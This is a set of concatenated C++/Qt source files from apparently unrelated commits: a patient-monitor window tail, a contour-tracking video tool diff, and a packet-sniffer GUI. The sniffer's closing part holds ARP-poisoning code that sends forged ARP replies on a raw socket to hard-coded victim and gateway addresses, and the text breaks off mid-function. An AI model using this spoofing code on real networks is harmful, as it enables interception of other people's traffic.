m_selectedGraphWidget->repaint(); break; case GraphPLETH: m_selectedGraphWidget->initialized(GraphPLETH,m_graphSettingsPop->m_graphWaveSize); m_selectedGraphWidget->repaint(); break; case GraphCO2: //TODO break; } } m_graphSettingsPop->hide(); m_graphSettingsPop->close(); m_graphSettingsPop->m_isVisible=false; m_selectedGraphWidget=NULL; } void MainWindow::onGraphMenuPopupCancel() { m_graphSettingsPop->hide(); m_graphSettingsPop->close(); m_graphSettingsPop->m_isVisible=false; m_selectedGraphWidget=NULL; } #ifdef PMD_HAMP void MainWindow::takeScreenSnapshort() { QRect r= this->rect(); QPixmap pixmap=this->grab(r); QString fileName = m_hampdataSupplier->getScreenShortPath(); qDebug("MainWindow::takeScreenSnapshort()\n"); if(pixmap.isNull()==false) pixmap.save(fileName,"PNG"); else printf("\npixmap is NULL"); } #endif <|endoftext|>
<commit_before>#include "mainwindow.h" #include "ui_mainwindow.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { // Set up Qt toolbar window ui->setupUi(this); ui->contourTable->horizontalHeader()->setSectionResizeMode(QHeaderView::Fixed); ui->pointEditorPanel->hide(); ui->frameSlider->setEnabled(false); ui->frameSpinBox->setEnabled(false); // Set window icon QPixmap logo = QPixmap(":/Logo/northern-red.png"); //setWindowIcon(QIcon(logo)); // Set up scene scene = new QGraphicsScene(this); ui->graphicsView->setScene(scene); ui->graphicsView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern)); ui->insetView->setScene(scene); ui->insetView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern)); // Set up frame image_item = new ImageItem(); image_item->setPixmap(logo); scene->addItem(image_item); // Set up chart chart = new Chart; chart->setTitle("Dynamic spline chart"); chart->legend()->hide(); chart->setAnimationOptions(QChart::AllAnimations); chart_view = new QChartView(chart); chart_view->setRenderHint(QPainter::Antialiasing); chart_view->setFixedSize(300,400); ui->chartLayout->addWidget(chart_view); // Connect signals connect(image_item, SIGNAL(currentPositionRgbChanged(QPointF&)), this, SLOT(showMousePosition(QPointF&))); connect(image_item, SIGNAL(pixelClicked(QPointF&)), this, SLOT(onPixelClicked(QPointF&))); connect(ui->contourTable, SIGNAL(itemSelectionChanged()), this, SLOT(on_contourTable_itemSelectionChanged())); connect(ui->contourTable, SIGNAL(currentCellChanged(int,int,int,int)), this, SLOT(on_contourTable_currentCellChanged(int,int,int,int))); show(); } MainWindow::~MainWindow() { delete ui; } void MainWindow::showMousePosition(QPointF &pos) { if (!current_frame.empty()) { cv::Size mat_size = current_frame.size(); int x = static_cast<int>(pos.x()); int y = static_cast<int>(pos.y()); if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height) { ui->mousePositionLabel->setText("x: " + QString::number(x) + ", y: " + QString::number(y)); } } } void MainWindow::onPixelClicked(QPointF &pos) { if (!current_frame.empty()) { cv::Size mat_size = current_frame.size(); int x = static_cast<int>(pos.x()); int y = static_cast<int>(pos.y()); if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height) { // int row = ui->frameSlider->value()-1; //// QString text = QString("%1, %2").arg(x).arg(y); //// ui->contourTable->setItem(row, 0, new QTableWidgetItem(text)); // removeAllSceneEllipses(); // removeAllSceneLines(); // drawCrosshair(x, y); // Update inset ui->insetView->centerOn(x,y); } } } void MainWindow::removeAllSceneEllipses() { foreach (QGraphicsItem *item, scene->items()) { QGraphicsEllipseItem *ellipse = qgraphicsitem_cast<QGraphicsEllipseItem *>(item); if (ellipse) { scene->removeItem(ellipse); } } } void MainWindow::removeAllSceneLines() { foreach (QGraphicsItem *item, scene->items()) { QGraphicsLineItem *line = qgraphicsitem_cast<QGraphicsLineItem *>(item); if (line) { scene->removeItem(line); } } } void MainWindow::drawCrosshair(int x, int y, QColor color) { QPen pen = QPen(color, 1, Qt::SolidLine, Qt::SquareCap, Qt::BevelJoin); scene->addEllipse( x-5, y-5, 10, 10, pen); scene->addLine(x-4, y, x+4, y, pen); scene->addLine(x, y-4, x, y+4, pen); } void MainWindow::savePointsToCSV(QString filename) { QString text_data; int row_count = ui->contourTable->rowCount(); text_data += QString("x,y,\n"); for (int row=0; row<row_count; row++) { QTableWidgetItem* item = ui->contourTable->item(row, 0); if (item) { QStringList coordinate = item->text().split(","); text_data += coordinate[0]; text_data += ","; text_data += coordinate[1]; text_data += ","; text_data += "\n"; } } QFile csv_file(filename); if(csv_file.open(QIODevice::WriteOnly | QIODevice::Truncate)) { QTextStream out(&csv_file); out << text_data; csv_file.close(); } qDebug() << "saved all points: " << filename; } void MainWindow::drawAllContours(int frame_index, int contour_index) { if (frame_contours.size()>0) { /// Remove the previous crosshairs removeAllSceneEllipses(); removeAllSceneLines(); /// Set the frame cap.set(CV_CAP_PROP_POS_FRAMES, frame_index); cap.read(current_frame); /// Draw contours cv::RNG rng(12345); ContourList contours = frame_contours.at(frame_index); Hierarchy hierarchy = frame_hierarchies.at(frame_index); std::vector<cv::Point> centroids = frame_centroids.at(frame_index); for (int i=0; i<contour_colors.size(); i++) { cv::Scalar color = contour_colors.at(i); if (i==contour_index) { cv::drawContours(current_frame, contours, i, color, 2, 8, hierarchy, 0, cv::Point()); } else { cv::drawContours(current_frame, contours, i, color, 1, 8, hierarchy, 0, cv::Point()); } cv::Point centroid = centroids.at(i); drawCrosshair(centroid.x, centroid.y); //drawCrosshair(centroid.x, centroid.y, QColor(color.val[0], color.val[1], color.val[2], 255)); } /// Show in a window img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap; pixmap = QPixmap::fromImage(img); /// Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); } } cv::Point MainWindow::getMeanPoint(const Contour contour) { cv::Point zero(0.0f, 0.0f); cv::Point sum = std::accumulate(contour.begin(), contour.end(), zero); cv::Point mean_point = (sum * (1.0f / contour.size())); return mean_point; } cv::Point MainWindow::getCenterOfMass(const Contour contour) { cv::Moments mu = cv::moments(contour); cv::Point centroid = cv::Point(mu.m10/mu.m00 , mu.m01/mu.m00); if (centroid.x < 0 || centroid.y < 0) { return getMeanPoint(contour); } else { return centroid; } } void MainWindow::updateAllContours() { /// Clear current contours frame_centroids.clear(); frame_contours.clear(); frame_hierarchies.clear(); contour_colors.clear(); /// Find contours int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT); frame_centroids.resize(frame_count); frame_contours.resize(frame_count); frame_hierarchies.resize(frame_count); int thresh = 100; cv::RNG rng(12345); cv::Mat src_gray; cv::Mat canny_output; int max_size = 0; ContourListSet initial_contours; HierarchyListSet initial_hierarchies; for (int i=0; i<frame_count; i++) { cap.set(CV_CAP_PROP_POS_FRAMES, i); cap.read(current_frame); /// Convert image to gray and blur it cv::cvtColor(current_frame, src_gray, CV_BGR2GRAY); cv::blur(src_gray, src_gray, cv::Size(3,3)); /// Detect edges using canny cv::Canny(src_gray, canny_output, thresh, thresh*2, 3); /// Find contours std::vector<cv::Vec4i> hierarchy; ContourList contours; cv::findContours(canny_output, contours, hierarchy, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0)); initial_contours.push_back(contours); initial_hierarchies.push_back(hierarchy); if ((int)contours.size() > max_size) { max_size = contours.size(); } /// Find centroid (mean) of each contour for(int j=0; j<(int)contours.size(); j++) { Contour contour = contours.at(j); frame_centroids[i].push_back(getMeanPoint(contour)); } } contour_colors.resize(initial_contours.at(0).size()); qDebug() << "Completed finding contours"; for (int c=0; c<contour_colors.size(); c++) { /// Match first contour frame_contours.at(0).push_back(initial_contours.at(0).at(c)); frame_hierarchies.at(0).push_back(initial_hierarchies.at(0).at(c)); std::vector<cv::Point> first_set = frame_centroids.at(0); cv::Point first_point = first_set.at(c); for (int i=1; i<(int)frame_count; i++) { std::vector<cv::Point> point_set = frame_centroids.at(i); int best_distance = current_frame.cols; int index = -1; for (int k=0; k<(int)point_set.size(); k++) { cv::Point point = point_set.at(k); double dist = cv::norm(first_point-point); if (dist < best_distance) { best_distance = dist; index = k; } } first_point = point_set.at(index); frame_contours.at(i).push_back(initial_contours.at(i).at(index)); frame_hierarchies.at(i).push_back(initial_hierarchies.at(i).at(index)); } /// Set the color for the contour cv::Scalar color = cv::Scalar(rng.uniform(0, 255), rng.uniform(0,255), rng.uniform(0,255)); contour_colors[c] = (color); /// Add first contour to the table ui->contourTable->insertRow(ui->contourTable->rowCount()); ui->contourTable->setItem(ui->contourTable->rowCount()-1, 0, new QTableWidgetItem()); ui->contourTable->item(ui->contourTable->rowCount()-1, 0)->setBackgroundColor(QColor(color.val[0], color.val[1], color.val[2], 255)); } qDebug() << "Found" << contour_colors.size() << "contours"; } void MainWindow::on_frameSpinBox_valueChanged(int arg1) { int frame_index = arg1-1; int contour_index = ui->contourTable->currentRow(); drawAllContours(frame_index, contour_index); } void MainWindow::resizeEvent(QResizeEvent *event) { if (!current_frame.empty()) { img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap = QPixmap::fromImage(img); // Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); QRectF bounds = scene->itemsBoundingRect(); ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio); ui->graphicsView->centerOn(0,0); } } void MainWindow::on_action_Open_triggered() { /// Load a video QString result = QFileDialog::getOpenFileName(this, tr("Select a Video File"), "/home", tr("Video Files (*.avi)")); video_filepath = result.toUtf8().constData(); QString video_filename = QString::fromStdString(video_filepath.substr(video_filepath.find_last_of("/\\") + 1)); cap = cv::VideoCapture(video_filepath); qDebug() << "opened video: " << video_filename; /// Enable video control elements, update elements with video information. int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT); ui->pointEditorPanel->show(); ui->videoComboBox->addItem(video_filename); /// Get contours updateAllContours(); /// show frame zero cap.set(CV_CAP_PROP_POS_FRAMES, 0); cap.read(current_frame); img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap = QPixmap::fromImage(img); /// Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); QRectF bounds = scene->itemsBoundingRect(); ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio); ui->graphicsView->centerOn(0,0); /// 5X scale in inset view ui->insetView->scale(5,5); ui->insetView->centerOn(bounds.center()); /// Set up chart chart->axisX()->setRange(1, frame_count); /// Enable frame sliders ui->frameSlider->setEnabled(true); ui->frameSlider->setRange(1, frame_count); ui->frameSpinBox->setEnabled(true); ui->frameSpinBox->setRange(1, frame_count); } void MainWindow::on_contourTable_itemSelectionChanged() { QItemSelectionModel *selection = ui->contourTable->selectionModel(); ui->deleteContourButton->setEnabled(selection->hasSelection()); } void MainWindow::on_contourTable_currentCellChanged(int row, int column, int previous_row, int previous_column) { /// Outline the contour selected in the table int frame_index = cap.get(CV_CAP_PROP_POS_FRAMES)-1; drawAllContours(frame_index, row); } void MainWindow::on_deleteContourButton_clicked() { QItemSelectionModel *selection = ui->contourTable->selectionModel(); int row; int shift = 0; foreach (QModelIndex index, selection->selectedRows()) { row = index.row() - shift; ui->contourTable->removeRow(row); /// Erase the contour in each frame for (int i=0; i<frame_contours.size(); i++) { frame_contours[i].erase(frame_contours[i].begin() + row); frame_hierarchies[i].erase(frame_hierarchies[i].begin() + row); } contour_colors.erase(contour_colors.begin() + row); shift++; } on_frameSpinBox_valueChanged(ui->frameSpinBox->value()); } void MainWindow::on_findContoursButton_clicked() { /// TODO: Check if contours have been updated (deleted) before doing this. updateAllContours(); on_frameSpinBox_valueChanged(ui->frameSpinBox->value()); } <commit_msg>Added contour, centroid checkboxes.<commit_after>#include "mainwindow.h" #include "ui_mainwindow.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { // Set up Qt toolbar window ui->setupUi(this); ui->contourTable->horizontalHeader()->setSectionResizeMode(QHeaderView::Fixed); ui->pointEditorPanel->hide(); ui->frameSlider->setEnabled(false); ui->frameSpinBox->setEnabled(false); // Set window icon QPixmap logo = QPixmap(":/Logo/northern-red.png"); //setWindowIcon(QIcon(logo)); // Set up scene scene = new QGraphicsScene(this); ui->graphicsView->setScene(scene); ui->graphicsView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern)); ui->insetView->setScene(scene); ui->insetView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern)); // Set up frame image_item = new ImageItem(); image_item->setPixmap(logo); scene->addItem(image_item); // Set up chart chart = new Chart; chart->setTitle("Dynamic spline chart"); chart->legend()->hide(); chart->setAnimationOptions(QChart::AllAnimations); chart_view = new QChartView(chart); chart_view->setRenderHint(QPainter::Antialiasing); chart_view->setFixedSize(300,400); ui->chartLayout->addWidget(chart_view); // Connect signals connect(image_item, SIGNAL(currentPositionRgbChanged(QPointF&)), this, SLOT(showMousePosition(QPointF&))); connect(image_item, SIGNAL(pixelClicked(QPointF&)), this, SLOT(onPixelClicked(QPointF&))); connect(ui->contourTable, SIGNAL(itemSelectionChanged()), this, SLOT(on_contourTable_itemSelectionChanged())); connect(ui->contourTable, SIGNAL(currentCellChanged(int,int,int,int)), this, SLOT(on_contourTable_currentCellChanged(int,int,int,int))); show(); } MainWindow::~MainWindow() { delete ui; } void MainWindow::showMousePosition(QPointF &pos) { if (!current_frame.empty()) { cv::Size mat_size = current_frame.size(); int x = static_cast<int>(pos.x()); int y = static_cast<int>(pos.y()); if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height) { ui->mousePositionLabel->setText("x: " + QString::number(x) + ", y: " + QString::number(y)); } } } void MainWindow::onPixelClicked(QPointF &pos) { if (!current_frame.empty()) { cv::Size mat_size = current_frame.size(); int x = static_cast<int>(pos.x()); int y = static_cast<int>(pos.y()); if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height) { // int row = ui->frameSlider->value()-1; //// QString text = QString("%1, %2").arg(x).arg(y); //// ui->contourTable->setItem(row, 0, new QTableWidgetItem(text)); // removeAllSceneEllipses(); // removeAllSceneLines(); // drawCrosshair(x, y); // Update inset ui->insetView->centerOn(x,y); } } } void MainWindow::removeAllSceneEllipses() { foreach (QGraphicsItem *item, scene->items()) { QGraphicsEllipseItem *ellipse = qgraphicsitem_cast<QGraphicsEllipseItem *>(item); if (ellipse) { scene->removeItem(ellipse); } } } void MainWindow::removeAllSceneLines() { foreach (QGraphicsItem *item, scene->items()) { QGraphicsLineItem *line = qgraphicsitem_cast<QGraphicsLineItem *>(item); if (line) { scene->removeItem(line); } } } void MainWindow::drawCrosshair(int x, int y, QColor color) { QPen pen = QPen(color, 1, Qt::SolidLine, Qt::SquareCap, Qt::BevelJoin); scene->addEllipse( x-5, y-5, 10, 10, pen); scene->addLine(x-4, y, x+4, y, pen); scene->addLine(x, y-4, x, y+4, pen); } void MainWindow::savePointsToCSV(QString filename) { QString text_data; int row_count = ui->contourTable->rowCount(); text_data += QString("x,y,\n"); for (int row=0; row<row_count; row++) { QTableWidgetItem* item = ui->contourTable->item(row, 0); if (item) { QStringList coordinate = item->text().split(","); text_data += coordinate[0]; text_data += ","; text_data += coordinate[1]; text_data += ","; text_data += "\n"; } } QFile csv_file(filename); if(csv_file.open(QIODevice::WriteOnly | QIODevice::Truncate)) { QTextStream out(&csv_file); out << text_data; csv_file.close(); } qDebug() << "saved all points: " << filename; } void MainWindow::drawAllContours(int frame_index, int contour_index) { if (frame_contours.size()>0) { /// Remove the previous crosshairs removeAllSceneEllipses(); removeAllSceneLines(); /// Set the frame cap.set(CV_CAP_PROP_POS_FRAMES, frame_index); cap.read(current_frame); /// Draw contours if (ui->contoursCheckBox->isChecked()) { cv::RNG rng(12345); ContourList contours = frame_contours.at(frame_index); Hierarchy hierarchy = frame_hierarchies.at(frame_index); for (int i=0; i<contour_colors.size(); i++) { cv::Scalar color = contour_colors.at(i); if (i==contour_index) { cv::drawContours(current_frame, contours, i, color, 2, 8, hierarchy, 0, cv::Point()); } else { cv::drawContours(current_frame, contours, i, color, 1, 8, hierarchy, 0, cv::Point()); } } } /// Draw centroids if (ui->centroidsCheckBox->isChecked()) { std::vector<cv::Point> centroids = frame_centroids.at(frame_index); for (int i=0; i<centroids.size(); i++) { cv::Point centroid = centroids.at(i); drawCrosshair(centroid.x, centroid.y); } } /// Show in a window img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap; pixmap = QPixmap::fromImage(img); /// Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); } } cv::Point MainWindow::getMeanPoint(const Contour contour) { cv::Point zero(0.0f, 0.0f); cv::Point sum = std::accumulate(contour.begin(), contour.end(), zero); cv::Point mean_point = (sum * (1.0f / contour.size())); return mean_point; } cv::Point MainWindow::getCenterOfMass(const Contour contour) { cv::Moments mu = cv::moments(contour); cv::Point centroid = cv::Point(mu.m10/mu.m00 , mu.m01/mu.m00); if (centroid.x < 0 || centroid.y < 0) { return getMeanPoint(contour); } else { return centroid; } } void MainWindow::updateAllContours() { /// Clear current contours frame_centroids.clear(); frame_contours.clear(); frame_hierarchies.clear(); contour_colors.clear(); /// Find contours int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT); frame_centroids.resize(frame_count); frame_contours.resize(frame_count); frame_hierarchies.resize(frame_count); int thresh = 100; cv::RNG rng(12345); cv::Mat src_gray; cv::Mat canny_output; int max_size = 0; ContourListSet initial_contours; HierarchyListSet initial_hierarchies; for (int i=0; i<frame_count; i++) { cap.set(CV_CAP_PROP_POS_FRAMES, i); cap.read(current_frame); /// Convert image to gray and blur it cv::cvtColor(current_frame, src_gray, CV_BGR2GRAY); cv::blur(src_gray, src_gray, cv::Size(3,3)); /// Detect edges using canny cv::Canny(src_gray, canny_output, thresh, thresh*2, 3); /// Find contours std::vector<cv::Vec4i> hierarchy; ContourList contours; cv::findContours(canny_output, contours, hierarchy, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0)); initial_contours.push_back(contours); initial_hierarchies.push_back(hierarchy); if ((int)contours.size() > max_size) { max_size = contours.size(); } /// Find centroid (mean) of each contour for(int j=0; j<(int)contours.size(); j++) { Contour contour = contours.at(j); frame_centroids[i].push_back(getMeanPoint(contour)); } } contour_colors.resize(initial_contours.at(0).size()); qDebug() << "Completed finding contours"; for (int c=0; c<contour_colors.size(); c++) { /// Match first contour frame_contours.at(0).push_back(initial_contours.at(0).at(c)); frame_hierarchies.at(0).push_back(initial_hierarchies.at(0).at(c)); std::vector<cv::Point> first_set = frame_centroids.at(0); cv::Point first_point = first_set.at(c); for (int i=1; i<(int)frame_count; i++) { std::vector<cv::Point> point_set = frame_centroids.at(i); int best_distance = current_frame.cols; int index = -1; for (int k=0; k<(int)point_set.size(); k++) { cv::Point point = point_set.at(k); double dist = cv::norm(first_point-point); if (dist < best_distance) { best_distance = dist; index = k; } } first_point = point_set.at(index); frame_contours.at(i).push_back(initial_contours.at(i).at(index)); frame_hierarchies.at(i).push_back(initial_hierarchies.at(i).at(index)); } /// Set the color for the contour cv::Scalar color = cv::Scalar(rng.uniform(0, 255), rng.uniform(0,255), rng.uniform(0,255)); contour_colors[c] = (color); /// Add first contour to the table ui->contourTable->insertRow(ui->contourTable->rowCount()); ui->contourTable->setItem(ui->contourTable->rowCount()-1, 0, new QTableWidgetItem()); ui->contourTable->item(ui->contourTable->rowCount()-1, 0)->setBackgroundColor(QColor(color.val[0], color.val[1], color.val[2], 255)); } qDebug() << "Found" << contour_colors.size() << "contours"; } void MainWindow::on_frameSpinBox_valueChanged(int arg1) { int frame_index = arg1-1; int contour_index = ui->contourTable->currentRow(); drawAllContours(frame_index, contour_index); } void MainWindow::resizeEvent(QResizeEvent *event) { if (!current_frame.empty()) { img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap = QPixmap::fromImage(img); // Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); QRectF bounds = scene->itemsBoundingRect(); ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio); ui->graphicsView->centerOn(0,0); } } void MainWindow::on_action_Open_triggered() { /// Load a video QString result = QFileDialog::getOpenFileName(this, tr("Select a Video File"), "/home", tr("Video Files (*.avi)")); video_filepath = result.toUtf8().constData(); QString video_filename = QString::fromStdString(video_filepath.substr(video_filepath.find_last_of("/\\") + 1)); cap = cv::VideoCapture(video_filepath); qDebug() << "opened video: " << video_filename; /// Enable video control elements, update elements with video information. int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT); ui->pointEditorPanel->show(); ui->videoComboBox->addItem(video_filename); /// Get contours updateAllContours(); /// show frame zero cap.set(CV_CAP_PROP_POS_FRAMES, 0); cap.read(current_frame); img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888); QPixmap pixmap = QPixmap::fromImage(img); /// Show in view, scaled to view bounds & keeping aspect ratio image_item->setPixmap(pixmap); QRectF bounds = scene->itemsBoundingRect(); ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio); ui->graphicsView->centerOn(0,0); /// 5X scale in inset view ui->insetView->scale(5,5); ui->insetView->centerOn(bounds.center()); /// Set up chart chart->axisX()->setRange(1, frame_count); /// Enable frame sliders ui->frameSlider->setEnabled(true); ui->frameSlider->setRange(1, frame_count); ui->frameSpinBox->setEnabled(true); ui->frameSpinBox->setRange(1, frame_count); } void MainWindow::on_contourTable_itemSelectionChanged() { QItemSelectionModel *selection = ui->contourTable->selectionModel(); ui->deleteContourButton->setEnabled(selection->hasSelection()); } void MainWindow::on_contourTable_currentCellChanged(int row, int column, int previous_row, int previous_column) { /// Outline the contour selected in the table int frame_index = cap.get(CV_CAP_PROP_POS_FRAMES)-1; drawAllContours(frame_index, row); } void MainWindow::on_deleteContourButton_clicked() { QItemSelectionModel *selection = ui->contourTable->selectionModel(); int row; int shift = 0; foreach (QModelIndex index, selection->selectedRows()) { row = index.row() - shift; ui->contourTable->removeRow(row); /// Erase the contour in each frame for (int i=0; i<frame_contours.size(); i++) { frame_contours[i].erase(frame_contours[i].begin() + row); frame_hierarchies[i].erase(frame_hierarchies[i].begin() + row); } contour_colors.erase(contour_colors.begin() + row); shift++; } on_frameSpinBox_valueChanged(ui->frameSpinBox->value()); } void MainWindow::on_findContoursButton_clicked() { /// TODO: Check if contours have been updated (deleted) before doing this. updateAllContours(); on_frameSpinBox_valueChanged(ui->frameSpinBox->value()); } <|endoftext|>
<commit_before>#include "mainwindow.h" #include "ui_mainwindow.h" #include "Sniffer.h" #include "dialoginterface.h" #include <QFileDialog> #include <cstdlib> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); ui->pb_scroll->setCheckable(true); ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows); client1 = NULL; client2 = NULL; counter = 0; thread = new QThread(); sniffer = new Sniffer(); sniffer->moveToThread(thread); QTimer *timer = new QTimer(this); timer->setInterval(50); timer->start(100); connect(thread, SIGNAL(started()), sniffer, SLOT(Start())); connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets())); connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer())); connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear())); connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load())); connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save())); #ifdef __linux__ connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning())); #endif } MainWindow::~MainWindow() { delete ui; } void MainWindow::Clear() { sniffer->mutex.lock(); ui->tableWidget->clearContents(); ui->tableWidget->setRowCount(0); for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++) delete *it; sniffer->Packets.clear(); for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++) delete *it; this->Packets.clear(); sniffer->mutex.unlock(); } void MainWindow::getNewPackets() { if (counter++ == 20) { counter = 0; this->refreshArp(); } sniffer->mutex.lock(); for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++) { checkArp(*(*it)); insertPacket(*(*it)); } sniffer->Packets.clear(); if (ui->pb_scroll->isChecked()) ui->tableWidget->scrollToBottom(); sniffer->mutex.unlock(); } void MainWindow::insertPacket(SniffedPacket &packet) { int i = ui->tableWidget->rowCount(); ui->tableWidget->insertRow(i); insertToIndex(packet.ip_source.c_str(), i, 0); insertToIndex(packet.ip_dest.c_str(), i, 1); insertToIndex(QString::number(packet.size), i, 2); insertToIndex(packet.protocol, i, 3); insertToIndex(packet.info, i, 4); this->Packets.push_back(&packet); } void MainWindow::insertToIndex(const QString &str, int row, int col) { QTableWidgetItem *item = new QTableWidgetItem(str); item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled); if (col != 4) item->setTextAlignment(Qt::AlignCenter); ui->tableWidget->setItem(row, col, item); } void MainWindow::StartSniffing(const std::string &interface) { this->interface = interface; sniffer->Initialize(interface); thread->start(); ui->pb_sniff->setText("STOP"); } void MainWindow::ToggleSniffer() { if (this->sniffer->IsSniffing()) { this->sniffer->Stop(); if (!thread->wait(500)) { thread->terminate(); thread->wait(); } this->sniffer->DeInitialize(); ui->pb_sniff->setText("START"); if (client1 != NULL) { delete client1; delete client2; client1 = NULL; } return ; } DialogInterface win(this); win.exec(); } void MainWindow::Save() { if (this->sniffer->IsSniffing()) ToggleSniffer(); QString fileName = QFileDialog::getSaveFileName(this, tr("Save File"), "", tr("PCAP (*.pcap)")); std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out); if (file.is_open()) { pcap_hdr_t hdr; std::memset((char *) &hdr, 0, sizeof(hdr)); hdr.magic_number = 0xA1B2C3D4; hdr.version_major = 2; hdr.version_minor = 4; hdr.snaplen = 65535; hdr.network = 1; file.write((char *) &hdr, sizeof(hdr)); pcaprec_hdr_t hdrp; std::memset(&hdrp, 0, sizeof(hdrp)); eth_hdr_t eth_hdr; eth_hdr.ether_type = 8; for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++) { hdrp.incl_len = (*it)->size; if (!(*it)->has_ether_hdr) hdrp.incl_len += ETHER_HDR_SIZE; hdrp.orig_len = hdrp.incl_len; file.write((char *) &hdrp, sizeof(hdrp)); if (!(*it)->has_ether_hdr) file.write((char *) &eth_hdr, ETHER_HDR_SIZE); file.write((*it)->data, (*it)->size); } file.close(); } else qDebug() << "Unable to open file"; } void MainWindow::Load() { if (this->sniffer->IsSniffing()) ToggleSniffer(); Clear(); QString fileName = QFileDialog::getOpenFileName(this, tr("Load File"), "", tr("PCAP (*.pcap)")); std::streampos size; char *memblock; std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate); if (file.is_open()) { size = file.tellg(); memblock = new char [size]; file.seekg (0, std::ios::beg); file.read (memblock, size); file.close(); pcap_hdr_t &hdr = *(pcap_hdr_t *) memblock; if (hdr.magic_number != 0xa1b2c3d4) { qDebug() << "Wrong format"; return ; } char *cursor = memblock + sizeof(hdr); pcaprec_hdr_t *hdrp; while ((int) (cursor - memblock) < size) { hdrp = (pcaprec_hdr_t *) cursor; cursor += sizeof(*hdrp); char *data = cursor; Sniffer::ManagePacket(data, hdrp->incl_len, true); cursor += hdrp->incl_len; } delete[] memblock; } else qDebug() << "Unable to open file"; } void MainWindow::ArpPoisoning() { mac[0] = 0x60; mac[1] = 0x67; mac[2] = 0x20; mac[3] = 0x1a; mac[4] = 0xc7; mac[5] = 0xd0; client_t *client = new client_t; client->ip = "192.168.43.123"; client->mac[0] = 0x60; client->mac[1] = 0x67; client->mac[2] = 0x20; client->mac[3] = 0x1a; client->mac[4] = 0xa2; client->mac[5] = 0xfc; client1 = client; client = new client_t; client->ip = "192.168.43.1"; client->mac[0] = 0x98; client->mac[1] = 0x0c; client->mac[2] = 0x82; client->mac[3] = 0xb0; client->mac[4] = 0xd7; client->mac[5] = 0x68; client2 = client; } void MainWindow::refreshArp() { #ifdef __linux__ if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing()) return; int sock; char packet[PKTLEN]; struct ether_header *eth = (struct ether_header *) packet; struct ether_arp *arp = (struct ether_arp *) (packet + sizeof(struct ether_header)); struct sockaddr_ll device; sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sock < 0) qDebug() << "fail socket"; client_t *client = client1; for (int i = 0; i < 2; ++i) { // To sscanf((client == client1 ? client2->ip : client1->ip).c_str(), "%d.%d.%d.%d", (int *) &arp->arp_spa[0], (int *) &arp->arp_spa[1], (int *) &arp->arp_spa[2], (int *) &arp->arp_spa[3]); // From std::memcpy(arp->arp_tha, client->mac, 6); // By std::memcpy(arp->arp_sha, mac, 6); memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN); memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); eth->ether_type = htons(ETH_P_ARP); arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); arp->ea_hdr.ar_pro = htons(ETH_P_IP); arp->ea_hdr.ar_hln = ETH_ALEN; arp->ea_hdr.ar_pln = IP4LEN; arp->ea_hdr.ar_op = htons(ARPOP_REPLY); memset(&device, 0, sizeof(device)); device.sll_ifindex = if_nametoindex(this->interface.c_str()); device.sll_family = AF_PACKET; memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); device.sll_halen = htons(ETH_ALEN); sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device)); 